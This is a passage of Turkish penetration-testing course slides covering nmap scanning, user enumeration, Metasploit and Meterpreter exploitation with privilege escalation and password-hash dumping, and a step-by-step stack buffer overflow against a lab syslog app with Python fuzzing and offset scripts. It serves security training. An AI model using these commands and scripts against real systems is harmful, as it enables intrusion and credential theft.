  • 91. PORT TARAMA Firewall aktifken tarama süresi 115,68 sn. Tarama sonuçları aynı olmasına rağmen nmap'in işi 10 kata yakın süre daha fazla sürdü. Bu fark nmap'in yanıt alamadığı istekler için belli bir süre beklemesinden kaynaklanıyor. Full TCP Port Tarama
  • 92. PORT TARAMA Full port tarama yapmadığımız için UDP 34841 portu tespit edilememiş. UDP 161 dışındaki portların da açık olduğundan kesin olarak emin olamamış. UDP Port Tarama Full UDP port tarama yapmadan önce yine tüm firewall kurallarını kaldırdık. UDP port taramada TCP taramadan farklı olarak tüm portları taramadık. Nmap öntanımlı olarak Top 1000 portu tarıyor. Sadece 1000 port taranmış olmasına rağmen UDP taramasının süresi TCP taramalarına göre çok daha uzun sürdü.
  • 93. PORT TARAMA UDP Port Tarama Bu defa UDP port taramasından önce aktif olan UDP portları dışındaki tüm portlara yapılan istekleri DROP edecek biçimde firewall kurallarını tanımlıyoruz.
  • 94. PORT TARAMA Firewall aktifken kapalı UDP portları ile açık ancak beklediği girdiyi almadığında yanıt üretmeyen UDP portları aynı biçimde davrandığından tüm bu portların kapalı olduğuna kanaat getirdi. Nmap'in SNMP protokolü (UDP 161) için hazır probe payload’u bulunduğundan nmap bu portu net olarak açık şeklinde belirledi. Ancak diğerlerini gözden kaçırdı. UDP Port Tarama Bu defa tarama süresi çok düştü. Muhtemelen nmap yanıt vermeyen portlar için bekleme süresini azalttı.
  • 95. PORT TARAMA Full UDP Port Tarama Full UDP port tarama işlemi firewall'suz top 1000 port tarama ile yaklaşık aynı süre sürdü. Ancak SNMP dışındaki tüm servisler gözden kaçırıldı.
  • 96. PORT TARAMA EGZERSİZ • Full TCP ve UDP taramalarından neden 1-65535 arasındaki portlar taranmaktadır, üst limit neden 65535'dir? • Canlı olduğunu tespit ettiğiniz "1" LAB sunucusu için full TCP ve UDP taramalarını gerçekleştirin.
  • 97. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ #!/usr/bin/perl use IO::Socket::INET; # flush $| = 1; my ($socket,$client_socket); my ($peeraddress,$peerport); $socket = new IO::Socket::INET ( LocalHost => '0.0.0.0', LocalPort => '5000', Proto => 'tcp', Listen => 5, Reuse => 1 ) or die "Soket olusturulamadi : $!n"; print "TCP sunucu dinliyor ...n"; while(1) { $client_socket = $socket->accept(); my $data = "220 BTRisk FTP Sunucusuna Hoşgeldinizrn220 ProFTPD 1.3.5 Server (ProFTPD)"; $client_socket->send($data); } $socket->close(); Servis ve Versiyon Tespiti
  • 98. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti Netcat ile servisimize TCP bağlantısı kurar kurmaz bir banner ile karşılaşıyoruz
  • 99. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti Nmap TCP 5000 portundaki servisimizin ProFTPD 1.3.5 olduğu sonucuna vardı # nmap -Pn -sV -version-all -p1-65535 192.168.163.129
  • 100. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ “-Pn”: Nmap normalde bir sunucuya yönelik port taraması yapmadan önce bir ping paketi, buna yanıt alamazsa TCP 80 ve 443 portlarına birer paket gönderir. Böylece sunucunun ayakta olup olmadığını anlamaya çalışır, eğer herhangi bir yanıt alamaz ise de taramayı gerçekleştirmez. “-Pn” opsiyonu özellikle firewall arkasında bulunan ve mevcut olduğunu düşündüğümüz veya çok kritik olabilecek sunucular için mutlaka kullanılması gereken bir opsiyon, aksi takdirde port taramamız gerçekleşmeyecektir. “-sV”: Bu opsiyon nmap’e sadece port tarama yapmamasını, aynı zamanda tespit ettiği servislerin ne olduğuna yönelik inceleme de yapması gerektiğini belirtir. Bu seçenek neticesinde nmap tespit edilen servislere UDP taramasında uyguladığı stratejiye benzer şekilde bazı payload’lar gönderir. Bu payload’lar servisin tam olarak ne olduğunu anlama konusunda bizi çok daha iyi aydınlatır. “--version-all”: nmap’in normalde kendine göre uyguladığı bir optimizasyon var, buna göre belirli payload’ları belirli portlara yönelik olarak gönderiyor. Bu opsiyonla nmap’e tespit ettiğin portlar için elindeki tüm payload’ları kullan emrini veriyoruz. Elbette bu yöntem çok daha fazla paket üretilmesine neden olacak, özellikle servis sayısı arttığında bu durum katlanacak. “-p1-65535”: Bu opsiyon bildiğiniz gibi full port taraması için kullandığımız opsiyon. Servis ve Versiyon Tespiti
  • 101. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti msf > search type:exploit name:ProFTP Eğer tespitimiz doğru olsaydı bir sonraki adım servisle ilgili açıklıkları aramak olacaktı
  • 102. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti
  • 103. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti Nmap'in servis tespiti için kullandığı probe yöntem ve payload'ları /usr/share/nmap/nmap-service- probes dosyasında yer almaktadır Bu probe yönteminde servise herhangi bir payload gönderilmemekte ve 6 saniye beklenmektedir TCP 9100-9107 arası portlar yazıcılar tarafından kullanıldığından nmap tarafından kapsam dışında bırakılmıştır
  • 104. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Buradaki regular expression’ı okursak: • İlk satır satır başında 220 ile başlamak kaydı ile herhangi bir metin • İkinci satır başında da yine “220 ProFTPD “ ile başlayan, devamında herhangi bir word karakteri (yani küçük harf, büyük harf, rakam ve alt çizgi) veya alt çizgi veya tire karakterlerinden en az bir adetten oluşan bir kelime, devamında da “ Server (ProFTPD)” ifadesini arıyor. • İkinci satırda parantez işaretleri arasında bulunan kısım ise nmap tarafından servisin versiyonu raporlanırken kullanılıyor ($1 bu eşleşmenin yerine geçiyor). Servis ve Versiyon Tespiti
  • 105. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Servis ve Versiyon Tespiti Service probes dosyasında yaklaşık 10.000 satır var
  • 106. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Null probe dışında bir örnek vermek gerekirse HTTP servislerini tespit etmeye yönelik bir probe örneği olarak bu örnek verilebilir, bir GET isteğinden sonra iki enter’ı ifade eden bir probe sonrasında aşağıda gelen match ifadeleri bekleniyor. Ancak port numaraları sınırlanmış. Bizim nmap taramamızda kullandığımız "-- version-all" opsiyonu bu sınırlandırmayı iptal ediyor. Servis ve Versiyon Tespiti
  • 107. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ İşletim sistemi tahmininin gerekçeleri: • Hedef sunucunun açıklık barındırıp barındırmadığının tahmini (örneğin rwho servisi Solaris 7-9 arasında exploit edilebilirken Solaris 10’da bu açıklık giderilmiştir). • Exploit kodlarının çalışabilmesi için düzenlenmesi (açıklık barındıran bir servis tespit etseniz bile exploit kodunuzun içindeki adreslerin hedef işletim sisteminin versiyonuna uygun hale getirilmesi gerekebilir. Çünkü exploit’un atlama adresi olarak kullandığı bölümdeki kodlar işletim sistemi güncellemesi ile ortadan kalkmış veya kaymış olabilir) • Envanter takibi (güvenlik yöneticisi olarak ağınıza bağlı cihazları takip etmek için bu yöntemi kullanabilirsiniz) • İzinsiz ve tehlikeli cihazların tespiti • Sosyal mühendislik (hedeflediğiniz bir kullanıcı hakkında size destekleyici bilgi sağlayabilir) İşletim Sistemi ve Versiyonu Tespiti
  • 108. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ # nmap -O 192.168.163.131 İşletim Sistemi ve Versiyonu Tespiti Nmap, firewall'u aktif bir bilgisayarı -O opsiyonuyla işletim sistemi tespiti amacıyla taradığımızda en az 1 AÇIK ve 1 KAPALI port bulamadığı için ürettiği sonuçların sağlıklı olmayabileceğini belirtti.
  • 109. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ İşletim Sistemi ve Versiyonu Tespiti Hedefteki sunucumuz Windows 7 Home Basic – SP1 işletim sistemine sahip
  • 110. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ İşletim Sistemi ve Versiyonu Tespiti İşletim sistemi enumeration taramasını bu defa Firewall pasif iken yapacağız
  • 111. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Firewall pasif hale getirildiğinde nmap biraz daha daraltılmış bir tahmin yapabildi İşletim Sistemi ve Versiyonu Tespiti
  • 112. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ NMAP Aggressive Scan # nmap –A 192.168.163.131 Servis enumeration “nmap”in -A (Aggressive Scan) opsiyonu ile servis versiyonu, işletim sistemi tespiti, script scanning ve traceroute birlikte yapılıyor. İşletim sistemi enumeration
  • 113. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Script scan sonuçları Traceroute sonuçları NMAP Aggressive Scan # nmap -A 192.168.163.131
  • 114. KULLANICI TESPİTİ Windows 2000 işletim sistemi modern işletmelerde artık karşılaşma ihtimalimizin düşük olduğu bir işletim sistemi. Ancak en meşhur kullanıcı tespit yöntemlerinden birisi olduğundan ve belli bir yaşı aşkın işletmelerde kıyıda köşede kalmış böyle bir sunucuya rastlama ihtimaliniz olduğundan null session enumeration’dan bahsetmeden geçemeyiz. Null Session Enumeration
  • 115. KULLANICI TESPİTİ Null Session Enumeration "enum4linux" aracı "Null Session"a imkan veren sunucularda kullanıcı tespiti ve parola politikası tespiti de yapabilmektedir.
  • 116. KULLANICI TESPİTİ Hedef işletim sisteminin bir Windows 2000 sunucu olduğunu görebiliriz. Null Session Enumeration
  • 117. KULLANICI TESPİTİ Null session’ı engellemek için gerekli olan restrictanonymous registry değerinin “0” olması sayesinde bu bilgilere erişebiliyoruz. Güvenli bir konfigürasyonda bu değerin “2” olması beklenirdi. Null Session Enumeration
  • 118. KULLANICI TESPİTİ Daha evvel snmp-check aracı ile SNMP servisinden bilgi edinmiştik. Bu örnekte Metasploit'un auxilary modüllerinden snmp_enum modülünü kullandık. SNMP Enumeration
  • 119. KULLANICI TESPİTİ Windows SNMP Enumeration Daha önce de gördüğümüz gibi Windows sunucu kullanıcı hesaplarının SNMP üzerinden elde edilmesine imkan verdi. Hedef bilgisayarımız bir Windows 7 idi.
  • 120. KULLANICI TESPİTİ Linux SNMP Enumeration Kali üzerinde aktif hale getirdiğimiz SNMP servisi de bilgi sızdırıyor, ancak kullanıcı isimlerinin sağlanması gibi bir fonksiyonalitesi yok.
  • 121. KULLANICI TESPİTİ Arama motorlarından E- Posta adresleri tespiti internet'ten VPN, Terminal Servisi, E-Posta Sunucu erişimleri, sosyal mühendislik amaçlarına hizmet edebilir E-posta Adreslerinin Tespiti
  • 122. KULLANICI TESPİTİ E-posta Adreslerinin Tespiti Kuruma ait web siteleri spider edilerek web sayfalarında geçen e-posta adresleri aktif olarak aranabilir. Burp-Suite aktif veya pasif olarak gözlemlediği e-posta adreslerini raporlamaktadır.
  • 123. KULLANICI TESPİTİ E-posta Adreslerinin Tespiti Burp-Suite uyarı örneği
  • 124. KULLANICI TESPİTİ Ofis dokümanları metadata'ları internet'ten VPN, Terminal Servisi, E- Posta Sunucu erişimleri, sosyal mühendislik saldırılarına yardımcı olabilir Ofis Metadata'larından Kullanıcı Adı Tespiti Google'da "filetype" ve "site" anahtar kelimeleri ile hedef daraltılarak inceleme yapılabilir.
  • 125. KULLANICI TESPİTİ Ofis Metadata'larından Kullanıcı Adı Tespiti
  • 126. KULLANICI TESPİTİ Öntanımlı Kullanıcılar Hedef sunucu ve servis tespit edilebilirse bu örnekte olduğu gibi öntanımlı parola listelerinden veya ilgili sistemin dokümantasyonu içinden öntanımlı kullanıcılar aranabilir.
  • 127. KULLANICI TESPİTİ EGZERSİZ • Kali üzerinde Nmap'in scriplerinin bulunduğu dizini tespit ediniz ve içindeki script dosyalarının isimlerini inceleyiniz. • oracle-enum-users.nse script'inin Oracle'ın öntanımlı portu dışında bir portu kullanması halinde nasıl bir değişikliğe tabi tutulması gerekebilir? • Nmap script scan için gerekli kullanım kurallarını nmap'in man page'inden inceleyiniz.
  • 128. KULLANICI TESPİTİ Web uygulamaları aracılığı ile kullanıcı sızdırma Hedef kuruma ait bazı web uygulamalarının doğru ve hatalı kullanıcı kodları ile yapılan erişim denemelerinde ayırt edici hata yanıtları döndürecek bir şekilde kod geliştirilmeleri halinde (kimi durumlarda şans, kimi durumlarda tahmin edilebilir kullanıcı kodlarının kullanıcılara atanması sayesinde) net olarak belli bir kullanıcı kodunun geçerli olup olmadığını tespit edebiliriz. Bu tespit yapıldıktan sonra da parola politikasına bağlı olarak kaba kuvvet saldırısı ile web uygulamasına erişim gerçekleştirmemiz söz konusu olabilir. SMTP enumeration Açıkçası pek karşılaşılmasa da EXPN ve VRFY SMTP komutları ile ismini bizim verdiğimiz kullanıcıların hedef sistem üzerinde tanımlı olup olmadıklarını tespit edebiliriz. Ancak bu tür bir testte hedefi doğru belirleyebilmeniz için zaten şüpheli öntanımlı kullanıcıları hedef almanız lazım. Bu durumda SMTP enumeration yöntemi sadece basit bir doğrulama imkanı sunabilir. Diğer Kullanıcı Tespit Yöntemleri
  • 130. İÇERİK • Metasploit Kullanımı • Meterpreter Kullanımı • Post Exploitation ve Yetki Yükseltme • Handler Modülü • Hashdump
  • 131. METASPLOIT KULLANIMI Metasploit'in en sık kullanılan ve desteklenen arayüzü konsol arayüzüdür.
  • 132. METASPLOIT KULLANIMI search type:exploit allmedia Senaryo 2'de manuel olarak gerçekleştirdiğimiz adımları bu defa Metasploit üzerinde gerçekleştirmeyi deneyeceğiz.
  • 134. METASPLOIT KULLANIMI netdiscover -r 192.168.163.0/24 Konsol arayüzünün avantajlarından bir tanesi de işletim sistemi komutlarını konsoldan ayrılmadan çalıştırabilmemizdir.
  • 135. METASPLOIT KULLANIMI Hedef sistemimizin IP adresini görüyoruz.
  • 136. METASPLOIT KULLANIMI set rhost 192.168.163.140
  • 137. METASPLOIT KULLANIMI exploit Metasploit öntanımlı olarak meterpreter payload'u kullanıyor, bu yüzden payload tanımlamadan da "exploit" komutunu çalıştırabiliyoruz.
  • 138. METERPRETER KULLANIMI hashdump (Meterpreter komutu) Meterpreter payload'umuz çalıştığında desteklenen meterpreter komutlarını "help" komutuyla görebiliriz. Hashdump komutunun yanıt döndürebilmesi için mevcut erişim haklarımız yeterli olmadı.
  • 139. METERPRETER KULLANIMI getsystem Haklarımızı yükseltmek için Meterpreter'in "getsystem" komutunu kullanıyoruz Ancak bu işlem de başarısız oluyor. Bunun nedeni kullanılan payload'un X86 mimarisi için olması da olabilir, ancak exploit ettiğimiz Allmedia sunucusu bir X86 uygulama olduğu için bir X64 payload kullanamadık. Denemek isterseniz bu bağlantı üzerinden ayrı bir X64 exe payload atılarak gözlemleyebilirsiniz.
  • 140. METERPRETER KULLANIMI run post/windows/gather/win_privs win_privs post exploitation modülünü kullanarak erişim sağladığımız kullanıcının haklarını ve hedef sunucuda UAC (User Account Control) kontrolünün aktif olup olmadığını kontrol ediyoruz. Local Admin grubundayız, ancak UAC'de aktif olduğu için Admin haklarımızı kullanamıyoruz.
  • 141. METERPRETER KULLANIMI Windows 7 işletim sistemimiz üzerinde UAC kontrolünün aktif olduğunu görebiliriz.
  • 142. POST EXPLOITATION VE YETKİ YÜKSELTME Bu defa yetki yükseltme işlemimizi yine bir lokal exploit kullanarak, ancak işlemimizi tamamen Metasploit platformunun kolaylıklarını kullanarak gerçekleştireceğiz. search local
  • 143. POST EXPLOITATION VE YETKİ YÜKSELTME Karşımıza çıkan Metasploit lokal exploit modüllerini sırası ile mevcut Meterpreter oturumumuz üzerinden deneyebiliriz. Biz daha önceden çalıştığını bildiğimiz bir lokal exploit'i kullanarak ilerleyelim.
  • 144. POST EXPLOITATION VE YETKİ YÜKSELTME show options set session 1
  • 145. POST EXPLOITATION VE YETKİ YÜKSELTME run whoami
  • 146. POST EXPLOITATION VE YETKİ YÜKSELTME Meterpreter'in "hashdump" fonksiyonunu kullanabilmek için mevcut payload'umuzu "windows/x64/meterpreter/reverse_tcp" payload'u ile değiştirelim ve lokal exploit'umuzu tekrar çalıştıralım.
  • 147. POST EXPLOITATION VE YETKİ YÜKSELTME Yeni payload'umuzla bir Meterpreter oturumu alabildik.
  • 148. POST EXPLOITATION VE YETKİ YÜKSELTME Bağlı olduğumuz kullanıcı adına baktığımızda "SYSTEM" kullanıcı olduğumuzu görebiliyoruz.
  • 149. "hashdump" komutu ile sistem üzerindeki parola hash'lerini görüntüleyebildik. Bu hash değerlerini daha sonra parola saldırısında kullanabiliriz. HASHDUMP Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: test:1000:aad3b435b51404eeaad3b435b51404ee:979357191cb4f445b47292af934fd2a7:::
  • 151. İÇERİK • Stack Tabanlı Bellek Taşması • Kullanılacak Araçlar • Uygulamanın Fuzz Edilmesi • Python Script • EIP Register Kontrolü • Stack Alanı • Bad Char • Return Address – JMP ESP • Shellcode • Metasploit’ Exploit Ekleme Adımları
  • 152. STACK TABANLI BELLEK TAŞMASI STACK’İN KULLANIM AMAÇLARI • Fonksiyon lokal değişkenleri için hafıza alanı sağlaması • Bir fonksiyon çağrıldığında çağrılan fonksiyondan çıkıldığında dönülecek instruction adresinin saklanması • Çağıran fonksiyonun stack taban adresinin saklanması • Çağrılan fonksiyona aktarılacak parametrelerin saklanması
  • 153. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Yüksek Adres Düşük Adres Pseudo Assembly esp
  • 154. STACK TABANLI BELLEK TAŞMASI TEMEL X86 REGISTER’LARI EIP Bir sonra çalışacak olan instruction’ın adresi EBP ve ESP İçinde bulunulan fonksiyonun stack frame’inin taban ve tavan adreslerini barındıran register’lar EAX, EBX, ECX, EDX, ESI, EDI Genel amaçlı register’lar EFLAGS Çeşitli instruction’lar tarafından etkilenen ve kullanılan bayrakları barındıran 32 bit’lik bir register
  • 155. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly call main ya da call 0x00412345 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP
  • 156. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly push ebp mov ebp, esp Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBPebp
  • 157. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly sub esp, 0x190 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık alan ebp
  • 158. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly push 0xA Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık alan 0x0A000000 ebp
  • 159. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly call f1 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık alan 0x0A000000 saklanan EIP (main) ebp
  • 160. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly push ebp mov ebp, esp Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) ebp
  • 161. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly sub esp, 0x28 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) ebp 0x28 byte’lık tanımsız alan
  • 162. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly mov [ebp-4], 0x0 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) ebp 0x24 byte’lık tanımsız alan 0x00000000 esp
  • 163. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly mov ebx, [ebp+8] mov [ebp-8], ebx Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) 0x20 byte’lık tanımsız alan 0x00000000 0x0A000000 esp ebp
  • 164. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly memset v.b. Fonksiyonla AAA...AAA sabitinin ayrılan hafıza alanına yazılması Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) 0x20 byte’lık tanımsız alan 0x00000000 0x0A000000 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 esp ebp
  • 165. STACK TABANLI BELLEK TAŞMASI 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly xor eax, eax add esp, 0x28 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) 0x41414141 0x41414141 0x41414141 0x41414141 espebp EAX = 0x00000000
  • 166. STACK TABANLI BELLEK TAŞMASI 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly pop ebp ret Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 0x41414141 0x41414141 esp EBP = 0x41414141 EIP = 0x41414141
  • 167. STACK TABANLI BELLEK TAŞMASI 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly ???????? Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 0x41414141 0x41414141 esp EIP = 0x41414141
  • 168. BUFFER OVERFLOW • Bu bölümde Buffer Overflow yöntemi kullanarak shell açma konusundan bahsedeceğiz. Shell açmak için gerekli çalışmaları yaptıktan sonra oluşturacağımızı exploiti Metasploit framework üzerine bir modül olarak ekleyeceğiz. • Adımlarımızı BTRisk tarafından bu konuya özel olarak geliştirilen BTRSyslog uygulaması üzerinde gerçekleştireceğiz.
  • 169. UYGULAMA HAKKINDA • BTRSyslog uygulaması UDP 514 portunu dinleyerek kendisine gelen paketleri toplamaktadır. Bu nedenle Buffer Overflow adımlarını izlerken bizde bu port ve protokolden faydalanacağız.
  • 170. UYGULAMA TESTİ • hping3 192.168.2.4 -p 514 --udp --data 1
  • 171. KULLANILACAK ARAÇLAR • Immunity Debugger http://debugger.immunityinc.com/ID_register.py • mona.py script'i https://www.corelan.be/index.php/2011/07/14/mona- py-the-manual/ Mona.py script'imizi Immunity Debugger üzerinde kullanılabilmesi için bu dosyayı şu dizine kopyalamalıyız: C:Program Files (x86)Immunity IncImmunity DebuggerPyCommands
  • 172. UYGULAMANIN FUZZ EDİLMESİ • BTRSyslog uygulaması UDP 514 portundan girdi alıyor. Bu porta gönderilecek verileri üretmek ve herhangi bir bellek taşması bulunup bulunmadığını test etmek amacıyla bir fuzzing script'i kullanacağız.
  • 173. FUZZ SCRIPT (PYTHON) #!/usr/bin/python import socket, time buffer = ["A"] counter = 10 while len(buffer) <=20: buffer.append("A" * counter) counter = counter + 10 for strings in buffer: time.sleep(1) print "Buffer : %s byte" % len(strings) s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM) s.connect(('192.168.2.7', 514)) s.send(strings) s.close Bu script ilk olarak tek bir "A" karakteri gönderecek, sonraki pakette 10 adet "A" karakteri ve daha sonraki her pakette de 10'ar tane daha "A" karakteri ekleyerek veri gönderilecek. Yani: "A" "AAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ... şeklinde
  • 174. FUZZING – IMMUNITY DEBUGGER • Fuzzing işlemi sırasında hata alırsak hatanın alındığı anda belleğin durumunu ve register'ların değerlerini net olarak görebilmek için uygulamamıza Immunity Debugger ile "attach" olacağız (veya BTRSyslog'u doğrudan Immunity Debugger içinden başlatabiliriz). • Debugger uygulamaya attach edildiğinde (veya uygulama debugger ile başlatıldığında) debugger uygulamayı bir software breakpoint ile durdurur. Uygulamanın çalışmaya devam edebilmesi için "Run program" tuşuna basılır.
  • 175. • Uygulamamız belli bir veri uzunluğu aşıldığında hata aldı ve kontrol debugger'a devredildi. FUZZING – IMMUNITY DEBUGGER Immunity Debugger'ın CPU view'ında sağ üst köşede Register'ların değerlerini görebiliriz. Buraya göz attığımızda hata alındığı anda EIP değerinin 0x41414141 olduğunu görüyoruz.
  • 176. • 0x41 değeri "A" karakterimizin ASCII Hex karşılığıdır. • EIP değerini bizim gönderdiğimiz bir veri ile ezebilmek demek uygulama akışına müdahale imkanı elde ettiğimiz anlamına gelmektedir. • EIP register'ına yazacağımız değerin anlamlı bir adres olabilmesi için başarmamız gereken ilk adım EIP değerine müdahale edebildiğimiz 4 byte'lık (yani 32 bit'lik) veri alanının gönderdiğimiz veri (payload) içinde tam olarak nerede olduğunu tespit etmektir. FUZZING – IMMUNITY DEBUGGER
  • 177. EIP REGISTER KONTROLÜ • EIP registerına müdahale edebildiğimiz offset değerini tespit edebilmek için metasploit framework içerisinde bulunan "pattern_create.rb" scriptini kullanacağız. • Bu script ile 200 byte uzunluğunda bir pattern oluşturacağız.
  • 178. ./pattern_create.rb -l 200 EIP REGISTER KONTROLÜ
  • 179. #!/usr/bin/python import socket buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3 Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7A c8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae 2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6 Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close FUZZING – IMMUNITY DEBUGGER Oluşturduğumuz pattern'ı BTRSyslog'a göndermek için yandaki script'i kullanabiliriz. Ancak BTRSyslog uygulamamızı baştan başlatmayı unutmayınız.
  • 180. Register'lar EIP = 0x65413565Instruction'lar EIP REGISTER KONTROLÜ Stack alanı Pattern BTRSyslog sunucusuna gönderildiğinde yine hata aldık, ancak bu defa EIP değeri 0x65413565 oldu. Şimdi sıra bu verinin tam olarak hangi offset'te yer aldığını bulmaya geldir.
  • 182. • 136. offset değerinin doğruluğunu test etmek için şu formatta bir payload üretebiliriz: EIP REGISTER KONTROLÜ buffer = "A" * 136 + "B" * 4 + "C" * 60 AAAAAAAAAAAAA...AAAAAABBBBCCCCCCCC...CCC
